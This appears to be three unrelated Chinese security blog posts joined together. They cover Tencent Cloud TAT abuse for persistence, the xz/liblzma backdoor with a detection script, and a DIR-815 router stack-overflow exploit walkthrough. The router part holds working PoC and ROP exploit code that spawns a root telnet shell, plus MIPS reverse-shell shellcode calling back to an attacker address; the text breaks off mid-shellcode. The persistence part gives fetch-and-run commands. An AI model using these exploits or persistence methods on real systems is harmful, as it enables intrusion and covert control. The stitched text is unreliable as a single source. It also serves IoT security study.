腾讯云(CVM)托管进行权限维持
前言
刚好看到一个师傅分享了一个阿里云ECS实战攻防,然后想到了同样利用腾讯云CVM的托管亦可实现在实战攻防中的权限维持。
简介
腾讯云自动化助手(TencentCloud Automation Tools,TAT)是一个原生运维部署工具,它可以在不登录或输入密码的情况下,实现对云服务器 CVM 和轻量应用服务器 Lighthouse 的自动化远程操作。该工具支持批量执行命令,包括 Shell、PowerShell 及 Python 等,能够完成一系列自动化运维任务,如运行自动化脚本、轮询进程、安装/卸载软件、更新应用及安装补丁等。这样的便利性使得企业可以更加高效地管理和维护其云服务器和轻量应用服务器,从而提高其云计算服务的可靠性和安全性。
应用场景
上传并运行自动化运维脚本
执行常见操作任务
运行已保存的脚本
托管实例
控制台->自动化助手->托管实例
权限维持
使用默认数值即可,默认值的阈值设定和阿里云的一致
实例创建成功后,可在客户端执行命令
Linux命令
sudo wget -qO - https://xxxxxxxxx.cos.accelerate.myqcloud.com/tat_agent/tat_agent_register.sh | sudo sh -s -- ap-guangzhou b3ec8e08-d73a-40d8-83c4-7308101b00b6 be131e221d1749a6860a4e3a6e1b37415f1c867f2646436abb67e0998fa24883
Windows
iex "& { $((New-Object System.Net.WebClient).DownloadString('https://xxxxxxxxx.cos.accelerate.myqcloud.com/tat_agent/tat_agent_register.ps1')) } ap-guangzhou b3ec8e08-d73a-40d8-83c4-7308101b00b6 be131e221d1749a6860a4e3a6e1b37415f1c867f2646436abb67e0998fa24883"
执行命令后发现实例可托管成功,但是是离线状态
宿主服务器安装自动化助手客户端
root@ubuntu:/home/ubuntu# sudo wget -qO - https://xxxxxxxxx.cos-internal.accelerate.tencentcos.cn/tat_agent/tat_agent_installer.sh | sudo sh
查看探针状态
ps -ef | grep tat_agent
命令后,查看进程状态。如果进程不存在
/usr/local/qcloud/tat_agent/tat_agent // 启动进程
其实这里的客户端的探针类似于监听状态,一直在线,托管服务器执行命令上线
执行命令
执行结果
执行时长48秒
文件上传
文件上传权限等均可自定义。
小结
可以明显发现执行时效性不是很流畅,但是优点儿在于:
托管权限维持稳定
文件上传方便以及文件权限方便
liblzma/xz被植入后门,过程堪比谍战片!
事件概述
xz是一种几乎存在于所有Linux发行版中的通用数据压缩格式。从5.6.0版本开始,在xz的上游tarball包中被发现了恶意代码,通过一系列复杂的混淆手段,liblzma的构建过程从伪装成测试文件的源代码中提取出预构建的目标文件,然后用它来修改liblzma代码中的特定函数。这导致生成了一个被修改过的liblzma库,任何链接此库的软件都可能使用它,从而拦截并修改与此库的数据交互。
3月29日,微软PostgreSQL开发人员Andres Freund在调试SSH性能问题时,在开源安全邮件列表中发帖称,他在XZ软件包中发现了一个涉及混淆恶意代码的供应链攻击。据Freund和RedHat称,Git版XZ中没有恶意代码,只有完整下载包中存在。但是这个代码的提交人两年前就加入了项目维护,暂时不能确定之前的版本有没有问题。
xz 5.6.0和5.6.1版本库中存在的恶意注入只包含在tarball下载包中。Git发行版中缺少触发恶意代码构建的M4宏。注入期间构建时使用的第二阶段工件存在于Git存储库中,以防存在恶意的M4宏。如果不合并到构建中,第二阶段文件是无害的。在发现者的演示中,发现它干扰了OpenSSH守护进程。虽然OpenSSH没有直接链接到liblzma库,但它以一种使其暴露于恶意软件的方式与systemd通信,而systemd链接到了liblzma。恶意构建会通过systemd干扰sshd的认证。在一定的情况下,这种干扰有可能使恶意行为体破坏ssh认证,并远程未经授权访问整个系统。
截至日前(3月30日),暂未观察到利用此后门代码的行为。
影响的系统范围
xz和liblzma 5.6.0~5.6.1 版本,可能包括的发行版 / 包管理系统有:
Fedora 41 / Fedora Rawhide
Debian Sid
Alpine Edge
x64 架构的 homebrew
滚动更新的发行版,包括 Arch Linux / OpenSUSE Tumbleweed
如果你的系统使用systemd 启动 OpenSSH 服务,你的 SSH 认证过程可能被攻击。非x86-64 架构的系统不受影响。
if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnuquot; > /dev/null 2>&1);then
你可以在命令行输入xz --version来检查xz 版本,如果输出为5.6.0或5.6.1 ,说明你的xz-utils已被植入后门。
$ xz --version
xz (XZ Utils) 5.6.1
liblzma 5.6.1
目前迹象表明,后门作者有选择性的针对linux 发行版下手。但这个liblzma 可不只Linux上用。比如目前流行的iOS越狱环境,大部分tweak 包还是以.deb 格式发行,比较新的版本就用到了lzma 作为压缩。除此之外,近期有在 macOS上使用brew 安装过xz 这个包也受影响,暂时不能证明有恶意行为:
过程精彩如谍战片
这可能是最大胆的信息安全事件之一。“最大胆”表明这起事件在手法、规模、影响等方面都超出了我们以往对于攻击的认知,可能是一个全新的安全威胁模型。
"最大胆"一词还隐含着对攻击者心理和技术实力的一种评价。做出如此"大胆"之举的,肯定是心理素质极强、技术水平极高、准备极其缜密的黑客团伙,绝非一般的脚本小子可以企及。
1、一个不知名团伙注意到OpenSSH依赖一个名为liblzma(xz)的小众开源压缩库。
2、他们虚构了一个名为"Jia Tan"的开发者身份,从2021年10月开始为xz项目积极做贡献,逐渐获得信任,并最终接管了维护工作。
3、2024年2月,"Jia"在构建脚本中引入了一个复杂隐蔽的后门,该后门似乎针对OpenSSH的身份验证前加密功能,可能添加了"主密钥"让攻击者随意访问受影响服务器。
4、 "Jia"联系Linux发行版维护者,试图让带后门的xz库被打包分发给用户,直到微软员工Andres Freund因调查SSH延迟问题发现了此事。
这可能是一次有外国政府支持的职业行动,而非业余爱好者所为。更根本的是,xz后门不是一个技术问题,可能也不能单靠技术来解决。归根结底,这是一个反情报挑战——完全属于政府和少数拥有生态系统范围监控能力的商业实体的能力范畴。这尤其包括谷歌和微软。事实上,这里有一个有趣的想法:也许他们已经知道了很长一段时间。我们能分辨出这是为了掩盖"手段和来源"而精心设计的披露,还是偶然发现的吗?
检测和解决方法
解决方法:
降级到5.6.0以下版本
更新到官方最新版5.6.4
检测脚本:
#! /bin/bash
set -eu
# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"
# does it even exist?
if [ "$path" == "" ]
then
echo probably not vulnerable
exit
fi
# check for function signature
if hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then
echo probably vulnerable
else
echo probably not vulnerable
fi
踏入IOT安全世界:DIR-815路由器多次溢出漏洞分析复现
前言
在进行IOT安全领域的学习和实践中,经典漏洞的复现是必不可少的一环。本文将介绍一个经典漏洞,涉及到Binwalk、firmware-mod-kit、FirmAE等工具的使用,以及对DIR-815路由器中多次溢出漏洞的复现过程。
固件下载地址:https://legacyfiles.us.dlink.com/DIR-815/REVA/FIRMWARE/
这个漏洞属于经典范畴,很多人选择通过此漏洞进行IOT安全入门的学习与实践。我们将一起回顾这个经典漏洞,踏入IOT安全的世界,并对DIR-815路由器中的多次溢出漏洞进行复现。
根据报告显示,此漏洞主要源于COOKIE长度未被限制,导致COOKIE长度过长时引发栈溢出问题。在本文中,我们将提供exp和poc,需要注意的是,在我的本地环境中,如果使用973作为偏移量,则调试无法成功连接,但不进行调试则可以成功连接。然而,如果使用1007作为偏移量,则调试可以成功连接,但不进行调试则无法成功连接。这种情况可能与仿真环境相关,欢迎大家积极尝试并探索。
工具安装
我的环境是
Ubuntu 22.04.4 LTS x86_64
Binwalk
我们要安装这个工具用来给FirmAE调用:
git clone https://github.com/ReFirmLabs/binwalk.git
cd binwalk
sudo python setup.py install
firmware-mod-kit
首先安装依赖:
sudo apt-get install git build-essential zlib1g-dev liblzma-dev python-magic
然后进行安装:
git clone https://github.com/mirror/firmware-mod-kit.git
cd firmware-mod-kit/src
./configure && make
可以进入https://github.com/mirror/firmware-mod-kit查看详细使用方法,本文不赘述。
FirmAE
我们需要安装FirmAE,和相关依赖进行固件仿真:
git clone --recursive https://github.com/pr0v3rbs/FirmAE
sudo pip3 install selenium
接着进入FirmAE目录运行:
./download.sh
./install.sh
./init.sh
随后,使用如下命令尝试是否能够仿真:
sudo ./run.sh -c <brand> <firmware>
我们这篇文章的brand是d-link。如果成功仿真,使用如下命令进入仿真调试模式:
sudo ./run.sh -d <brand> <firmware>
注意,仿真之后要输入2,进入shell之后运行如下命令关闭随机化,因为真机也是不开启的:
echo "0" >> /proc/sys/kernel/randomize_va_space
基础知识
溢出漏洞
溢出漏洞是指由于缓冲区溢出等原因导致的内存溢出问题。这些漏洞可以让攻击者执行恶意代码,进而对路由器进行攻击和控制。
它可以使得黑客控制程序执行的pc,从而达到控制程序流的目的。要知道,pc可是指示程序下一条指令的地方!一旦攻击者成功控制了它,就能为所欲为了。
那么,如何利用栈溢出漏洞来控制程序执行呢?有两个常见的方法:shellcode和ROPchain。
首先,我们来说说shellcode。Shellcode是一段精心编写的机器码,通常用于执行特定的操作,比如获取系统特权或者执行其他恶意行为。攻击者可以通过溢出漏洞将shellcode注入到受影响的程序中,并控制程序执行,从而执行这段恶意代码。
另一种方法是使用ROPchain(Return-Oriented Programming)。ROPchain是一种利用已存在的代码片段(称为gadgets)来构建攻击代码的技术。攻击者可以通过溢出漏洞,将栈上的返回地址(Return Address)改写为指向这些gadgets的地址,然后利用这些gadgets的序列来实现特定的功能,比如执行系统调用或者跳转到其他函数。
所以,栈溢出漏洞非常危险,给了攻击者很大的控制力!要特别注意程序中的边界检查和缓冲区大小的限制,以避免这类漏洞的发生。在编程过程中,要时刻确保输入数据不会超出预期的范围,这样就能有效地防止栈溢出漏洞的利用。
HTTP协议
HTTP协议是一种用于传输超文本的协议,它由请求和响应组成。让我们来看一下HTTP请求的各个部分,分别是请求行、消息报头、请求正文。IoT安全当中传输信息,大多数需要HTTP协议来进行。
请求行
HTTP请求的第一行是请求行,它由三部分组成:请求方法、请求的资源路径(Request-URI)和HTTP协议的版本。格式如下:
Method Request-URI HTTP-Version CRLF
例如:
POST /registez.aspx HTTP/1.1 (CRLE)
消息报头
请求的消息报头包含了一系列的键值对,每个键值对由名字、冒号、空格和值组成。它们用于传递关于请求的额外信息。例如:
Accept:image/gif
表示请求GIF图像格式的资源。
一个完整的请求消息报头可能包含多个键值对,像这样:
GET /index.html HTTP/1.1 (CRLF)
Accept:image/gif, image/x-xbitmap,*/* (CRLF)
Accept-Language:zh-cn (CRLF)
Accept-Encoding:gzip, deflate (CRLF)
User-Rgent:Mozilla/4.0(compatible;MSIE6.0;Windows NT 5.0) (CRLF)
Host:www.baidu.com (CRLF)
Connection:Keep-Alive (CRLF)
(CRLF)
请求正文
请求正文是可选的,它包含了请求的主体内容。它位于消息报头和消息主体之间的一个空行。请求正文可以包含各种数据,例如表单数据、JSON、XML等等。例如:
Usernarme=admin&password=admin
实际上,请求正文可以包含更多内容,具体取决于请求的目的和需要。
我们在具体使用的时候,会使用python的相关库request或者http.client进行编程。
成因分析
Cookie来自char *getenv("HTTP_COOKIE")。
cgibin链接到其他的cgi的时候,此时cgibin里除了main,还会有别的cgi文件的main。
如本固件的hedwigcgi_main。
根据漏洞报告,搜索了HTTP_COOKIE字符串,找到相关函数sess_get_uid及其引用,这个函数有对uid的比较,分析得出COOKIE的数据组织形式是uid=payload。
int __fastcall sess_get_uid(int a1)
{
int v2; // $s2
char *v3; // $v0
int v4; // $s3
char *v5; // $s4
int v6; // $s1
int v7; // $s0
char *string; // $v0
int result; // $v0
v2 = sobj_new();
v4 = sobj_new();
v3 = getenv("HTTP_COOKIE");
if ( !v2 )
goto LABEL_27;
if ( !v4 )
goto LABEL_27;
v5 = v3;
if ( !v3 )
goto LABEL_27;
v6 = 0;
while ( 1 )
{
v7 = *v5;
if ( !*v5 )
break;
if ( v6 == 1 )
goto LABEL_11;
if ( v6 < 2 )
{
if ( v7 == ' ' )
goto LABEL_18;
sobj_free(v2);
sobj_free(v4);
LABEL_11:
if ( v7 == 59 )
{
v6 = 0;
}
else
{
v6 = 2;
if ( v7 != 61 )
{
sobj_add_char(v2, v7);
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == 59 )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++);
}
else
{
v6 = 0;
if ( !sobj_strcmp(v2, "uid") )
goto LABEL_21;
LABEL_18:
++v5;
}
}
if ( !sobj_strcmp(v2, "uid") )
{
LABEL_21:
string = sobj_get_string(v4);
goto LABEL_22;
}
LABEL_27:
string = getenv("REMOTE_ADDR");
LABEL_22:
result = sobj_add_string(a1, string);
if ( v2 )
result = sobj_del(v2);
if ( v4 )
return sobj_del(v4);
return result;
}
如果FirmAE无法直接解压固件,可以用fmk解压以后再压缩为tar.gz交给FirmAE。
FirmAE如果出现文件依然存在的情况,使用如下方案:
sudo ip link set ${TAPDEV_0}
sudo tunctl -d ${TAPDEV_0}
将其停止,可以重新启动仿真。
调试方法
仿真成功后,进入FirmAE进行如下输入——进入shell,查询http服务的进程号:
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 2
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
/ # ps | grep "httpd"
2387 root 1564 S httpd -f /var/run/httpd.conf
8421 root 656 S grep httpd
/ # Connection closed by foreign host.
随后输入进程号(此处是2387)启用gdb-server:
------------------------------
| FirmAE Debugger |
------------------------------
1. connect to socat
2. connect to shell
3. tcpdump
4. run gdbserver
5. file transfer
6. exit
> 4
641 root 1684 S /firmadyne/sh /firmadyne/network.sh
643 root 1676 S /firmadyne/sh /firmadyne/debug.sh
647 root 1680 S /firmadyne/busybox telnetd -p 31338 -l /firmadyne/sh
648 root 1668 S /firmadyne/busybox sleep 36000
649 root 1676 S /firmadyne/sh
779 root 892 S portt -c DNAT.PORTT
1300 root 1044 S udhcpc -i eth3 -H dlinkrouter -p /var/servd/WAN-1-udh
1663 root 904 S updatewifistats -i rai0 -x /phyinf:3 -r /runtime/phyi
1737 root 904 S updatewifistats -i ra0 -x /phyinf:4 -r /runtime/phyin
2096 root 908 S neaps -i br0 -c /var/run/neaps.conf
2108 root 884 S netbios -i br0 -r dlinkrouter
2109 root 900 S llmnresp -i br0 -r dlinkrouter
2156 root 1068 S udhcpd /var/servd/LAN-1-udhcpd.conf
2351 root 1040 S dnsmasq -C /var/servd/DNS.conf
2387 root 1568 S httpd -f /var/run/httpd.conf
11504 root 1668 S /firmadyne/busybox sleep 5
11553 root 660 R ps
PID USER VSZ STAT COMMAND
1 root 656 S init
2 root 0 SW [kthreadd]
3 root 0 SW [ksoftirqd/0]
4 root 0 SW [kworker/0:0]
5 root 0 SW< [kworker/0:0H]
6 root 0 SW [kworker/u2:0]
7 root 0 SW< [khelper]
8 root 0 SW [khungtaskd]
9 root 0 SW< [writeback]
10 root 0 SWN [ksmd]
11 root 0 SW< [crypto]
12 root 0 SW< [bioset]
13 root 0 SW< [kblockd]
14 root 0 SW< [ata_sff]
15 root 0 SW< [cfg80211]
16 root 0 SW [kworker/0:1]
17 root 0 SW [kswapd0]
18 root 0 SW [fsnotify_mark]
35 root 0 SW [scsi_eh_0]
36 root 0 SW< [scsi_tmf_0]
37 root 0 SW [scsi_eh_1]
38 root 0 SW< [scsi_tmf_1]
41 root 0 SW [kworker/u2:3]
44 root 0 SW< [kpsmoused]
45 root 0 SW< [ipv6_addrconf]
46 root 0 SW< [defe
[+] target pid : 2387
[+] gdbserver at 192.168.0.1:1337 attach on 2387
[+] run "target remote 192.168.0.1:1337" in host gdb-multiarch
宿主机保存如下脚本准备使用:
set architecture mips
set follow-fork-mode child
set detach-on-fork off
b _start
#catch exec #这里去掉注释,就能够在对应的cgi文件停下
target remote 192.168.0.1:1337
假如保存为了gdb_script,那么在开启gdb-server以后使用如下命令进入调试:
gdb-multiarch -x gdb_script
POC编写
定位到漏洞点应该在下面的sprintf处,由char v27[1024]可以知道,溢出至少要1024的数据。源码如下。
int hedwigcgi_main()
{
char *v0; // $v0
const char *v1; // $a1
FILE *v2; // $s0
int v3; // $fp
int v4; // $s5
int v5; // $v0
char *string; // $v0
FILE *v7; // $s2
int v8; // $v0
int v9; // $s7
int v10; // $v0
int *v11; // $s1
int i; // $s3
char *v13; // $v0
const char **v14; // $s1
int v15; // $s0
char *v16; // $v0
const char **v17; // $s1
int v18; // $s0
int v19; // $v0
char *v20; // $v0
char v22[20]; // [sp+18h] [-4A8h] BYREF
char *v23; // [sp+2Ch] [-494h] BYREF
char *v24; // [sp+30h] [-490h]
int v25[3]; // [sp+34h] [-48Ch] BYREF
char v26[128]; // [sp+40h] [-480h] BYREF
char v27[1024]; // [sp+C0h] [-400h] BYREF
memset(v27, 0, sizeof(v27));
memset(v26, 0, sizeof(v26));
strcpy(v22, "/runtime/session");
v0 = getenv("REQUEST_METHOD");
if ( !v0 )
{
v1 = "no REQUEST";
LABEL_7:
v3 = 0;
v4 = 0;
LABEL_34:
v9 = -1;
goto LABEL_25;
}
if ( strcasecmp(v0, "POST") )
{
v1 = "unsupported HTTP request";
goto LABEL_7;
}
cgibin_parse_request(sub_409A6C, 0, 0x20000);
v2 = fopen("/etc/config/image_sign", "r");
if ( !fgets(v26, 128, v2) )
{
v1 = "unable to read signature!";
goto LABEL_7;
}
fclose(v2);
cgibin_reatwhite(v26);
v4 = sobj_new();
v5 = sobj_new();
v3 = v5;
if ( !v4 || !v5 )
{
v1 = "unable to allocate string object";
goto LABEL_34;
}
sess_get_uid(v4);
string = sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);
xmldbc_del(0, 0, v27);
v7 = fopen("/var/tmp/temp.xml", "w");
if ( !v7 )
{
v1 = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack )
{
v1 = "no xml data.";
goto LABEL_34;
}
v8 = fileno(v7);
v9 = lockf(v8, 3, 0);
if ( v9 < 0 )
{
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>BUSY</result><message>%s</message></hedwig>",
0);
v9 = 0;
goto LABEL_26;
}
v10 = fileno(v7);
lockf(v10, 1, 0);
v23 = v26;
v24 = 0;
memset(v25, 0, sizeof(v25));
v24 = strtok(v22, "/");
v11 = v25;
for ( i = 2; ; ++i )
{
v13 = strtok(0, "/");
*v11++ = (int)v13;
if ( !v13 )
break;
}
(&v23)[i] = sobj_get_string(v4);
fputs("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n", v7);
v14 = (const char **)&v23;
v15 = 0;
do
{
++v15;
fprintf(v7, "<%s>\n", *v14++);
}
while ( v15 < i + 1 );
v16 = strstr(haystack, "<postxml>");
fprintf(v7, "%s\n", v16);
v17 = (const char **)&(&v23)[i];
v18 = i + 1;
do
{
--v18;
fprintf(v7, "</%s>\n", *v17--);
}
while ( v18 > 0 );
fflush(v7);
xmldbc_read(0, 2, "/var/tmp/temp.xml");
v19 = fileno(v7);
lockf(v19, 0, 0);
fclose(v7);
remove("/var/tmp/temp.xml");
v20 = sobj_get_string(v4);
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
xmldbc_ephp(0, 0, v27, stdout);
if ( v9 )
{
v1 = 0;
LABEL_25:
printf(
"HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r\n<hedwig><result>FAILED</result><message>%s</message></hedwig>",
v1);
}
LABEL_26:
if ( haystack )
free(haystack);
if ( v3 )
sobj_del(v3);
if ( v4 )
sobj_del(v4);
return v9;
}
构造poc如下:
import http.client
# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+'a'*0x500,
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&bid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连接
conn.close()
成功覆盖pc如下。
EXP编写
ROPchain_system(cmd)
接下来编写exp。
cyclic可以这么使用:
>>> cyclic(0x100)
b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaac'
>>> cyclic_find("cjaa")
235
>>>
从而轻松找到偏移。
我们修改一下poc如下,设置了payload,用如上方法找到偏移:
import http.client
from evilblade import *
# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
payload = cyclic(0x500).decode()
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连接
conn.close()
得到段错误如下。
找偏移:(注意,此处导入pwntools也是一样的,这只是我自己写的封装库)
>>> from evilblade import *
>>> cyclic_find("klaa")
1043
>>>
再次修改poc确认偏移,成功控制返回地址。修改如下:
import http.client
from evilblade import *
# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
payload = b'a'*1043+b"rlok" #前面1043个偏移,后面是rlok作为返回地址
payload = payload.decode()
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连接
conn.close()
结果如下,成功控制pc。
我们发现路由器里有telnetd服务,这样只要执行system("telnetd"),就可以在宿主机运行telnet 192.168.0.1getshell了。其中a0就是第一个参数。
我们看看MIPS的寄存器作用:
ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "addiu \$s5, \$sp,"
用上述命令,找到下面的gadget:
0x000159cc : addiu $s5, $sp, 0x10 ; move $a1, $s3 ; move $a2, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a0, $s5
这样的情况,我们只要控制$sp + 0x10的位置是命令,并且s0是返回地址即可。
我们再次使用cyclic确定偏移,得到:
*S0 0x6161636b ('kcaa')
也就是
>>> cyclic_find("kcaa")
1007
s0往后就是s1,s2以此类推。
不过我们遇到了一个新的问题,那就是system的地址偏移是0x53200,是以00为结尾的,我们需要绕过。我尝试过用0x531fc,这里是nop,但是由于$t9的值不正确,所以后面的变量会错误,导致程序无法正常运行,那么我们只能另寻出路。
这里我们要用到一个技巧:
由于现代处理器采用流水线执行指令的方式,在执行jalr指令时,下一条指令可能已经被预取和解码,并开始执行。因此,即使jalr指令改变了程序计数器的值,下一条指令也可能在当前指令被执行的同时开始执行。
也就是说,执行jalr的同时,下一个指令也会执行。
我们用这个指令:
ROPgadget --binary libuClibc-0.9.30.1.so | grep --color=auto "move \$t9, \$s5 ; jalr \$t9 ; addiu \$s0"
找到gadget:
0x000158c8 : move $t9, $s5 ; jalr $t9 ; addiu $s0, $s0, 1
他会在跳转到$s5的同时,将s0+1,也就是说我们传入偏移为0x531ff即可,且$t9不会受到任何影响!
于是我们构造了如下的情况:
首先在s0传入system-1的地址,s5传入了0x000159cc的gadget。溢出之后,首先返回到s5的地址,同时,s0++,变为system的地址。此时执行第二个gadget,将"telnetd"传入s5,并且跳转到$s0也就是system,同时s5被赋值到a0也就是第一个参数,成功执行system("telnetd -l /bin/sh -p 55557")。设置端口是担心原本的被占用了。
如图,成功。
附exp:
import http.client
from evilblade import *
set("./cgibin")
# 创建HTTP连接
conn = http.client.HTTPConnection("192.168.0.1")
## XOR $t0, $t0, $t0,相当于 nop,因为nop是\x00不能发送,会被sprintf截断
nop = "\x26\x40\x08\x01"
#libc基地址
libc = 0x77f34000
#gadget
gadget = 0x159cc+libc
gadget2 = libc+0x158c8
print(p32(gadget))
print(p32(gadget2))
sys = libc + 0x531ff
print(p32(sys))
dx(sys)
sys_ = '\xffq\xf8w'
gad_sp = "\xcc\x99\xf4w"
gad_to_s5 = "\xc8\x98\xf4w"
payload = cyclic(973).decode() + sys_ + "cccc" + gad_sp*7 + gad_to_s5 + "dddd"*4 + "telnetd -l /bin/sh -p 55557 & ls & "
# 设置请求头
headers = {
'Content-Length': '21',
'accept-Encoding': 'deflate',
'Connection': 'close',
'User-Agent': 'MozillIay4.0 (compatible MSIE 8.07 Winaows NT 6.17 WOW647 Triaent/4.07 SLCC27 -NET CDR 2.0.50727) -NET CLR 3.5.307297 .NET CILR 3.90.307297 Meaia CenteLr PC 6.07 .NET4.0C7 -NET4.0E)',
'Host': '192.168.0.1',
'Cookie': 'uid='+payload,
'Content-Type': 'application/x-www-form-urlencoded'
}
# 发送POST请求
conn.request("POST", "/hedwig.cgi", body="password=123&uid=3Rd4", headers=headers)
# 获取响应
response = conn.getresponse()
# 打印响应状态码和响应内容
print(response.status, response.read().decode())
# 关闭连接
conn.close()
shellcode
使用网站进行汇编转字节码:https://shell-storm.org/online/Online-Assembler-and-Disassembler/
第一步:socket(2,1,0)
在socket()系统调用中,参数的含义如下:
第一个参数:套接字的域(domain)。对于IPv4网络套接字,通常使用AF_INET或者PF_INET,其值为2。
第二个参数:套接字的类型(type)。常见的套接字类型包括SOCK_STREAM(流套接字,用于TCP)和SOCK_DGRAM(数据报套接字,用于UDP)。
第三个参数:协议(protocol)。通常情况下,如果域和类型已经指定了,协议参数可以设为0,让操作系统自动选择合适的协议。在这里,值为0。
socket(2,2,0)的意思是创建一个IPv4的UDP套接字。
如下:
addiu a0, zero, 2
addiu a1, zero, 2
addiu a3, zero, 0
addiu v0, zero, 0x1057
syscall 0x40404
为了绕过\x00限制改为:
li $a0, 0x222
addi $a0,-0x220
li $a1, 0x222
addi $a1,-0x220
li $a2, 0x222
addi $a2,-0x222
li $v0, 0x1057
syscall 0x40404
得到:
"\x22\x02\x04\x24\xe0\xfd\x84\x20\x22\x02\x05\x24\xe0\xfd\xa5\x20\x22\x02\x06\x24\xde\xfd\xc6\x20\x57\x10\x02\x24\x0c\x01\x01\x01"
存入栈:
sw $v0,480($sp)
得到:
"\xe0\x01\xa2\xaf"
第二步:
dup2(socket_obj,0)
dup2(socket_obj,1)
dup2(socket_obj,2)
将标准输入输出错误流重定向到sock对象。
如下:
lw $a0,480($sp);
li $a1, 0x222
addi $a1,-0x222
li $v0,4063
syscall 0x40404
li $a1, 0x222
addi $a1,-0x221
li $v0,4063
syscall 0x40404
li $a1, 0x223
addi $a1,-0x221
li $v0,4063
syscall 0x40404
得到:
"\xe0\x01\xa4\x8f\x22\x02\x05\x24\xde\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x22\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01\x23\x02\x05\x24\xdf\xfd\xa5\x20\xdf\x0f\x02\x24\x0c\x01\x01\x01"
第三步,执行int connect(int sockfd, const **struct** sockaddr *addr,socklen_t addrlen);
lw $a0,480($sp)
addiu $a2,$zero,0x111
addi $a2,-0x101
lui $t6,0xbe15
ori $t6,$t6,0x0203
addi $t6, -0x0201
sw $t6,468($sp)
//这里是端口,可以自己更改
lui $t7,0x0302
ori $t7, $t7, 0xa9c1
addi $t7, $t7, -0x01020101
//这里是ip地址,可以自己更改
sw $t7,472($sp)
la $a1,468($sp)
addiu $v0,$zero,4170
syscall 0x40404
此时是绑定在了192.168.0.2 5566,也就是攻击机器的地址。ip和端口涉及大端小端的问题,参考文章的时候是大端,我说怎么调了这么久都不对……
要构造为(这是192.168.0.2 5566)
0xbe150002 0x0200a8c0
得到:
"\xe0\x01\xa4\x8f\x11\x01\x06\x24\xff\xfe\xc6\x20\x15\xbe\x0e\x3c\x03\x02\xce\x35\xff\xfd\xce\x21\xd4\x01\xae\xaf\x02\x03\x0f\x3c\xc1\xa9\xef\x35\xfd\xfe\x01\x3c\xff\xfe\x21\x34\x20\x78\xe1\x01\xd8\x01\xaf\xaf\xd4\x01\xa5\x27\x4a\x10\x02\x24\x0c\x01\x01\x01"
最后一步,执行execve("/bin/sh",["/bin/sh","-i"],0),注意,此处的第二个参数是个数组,让其能够交互:
lui $t1, 0x6e69
ori $t1, $t1, 0x622f
sw $t1, -8($sp)
lui $t9, 0xff97
ori $t9, $t9, 0x8cd0
not $t1, $t9
sw $t1, -4($sp)
addiu $sp, $sp, -8
add $a0, $sp, $zero
lui $t1, 0x6e69
ori $t1, $t1, 0x622f
sw $t1, -0xc($sp)
lui $t9, 0xff97
ori $t9, $t9, 0x8cd0
not $t1, $t9
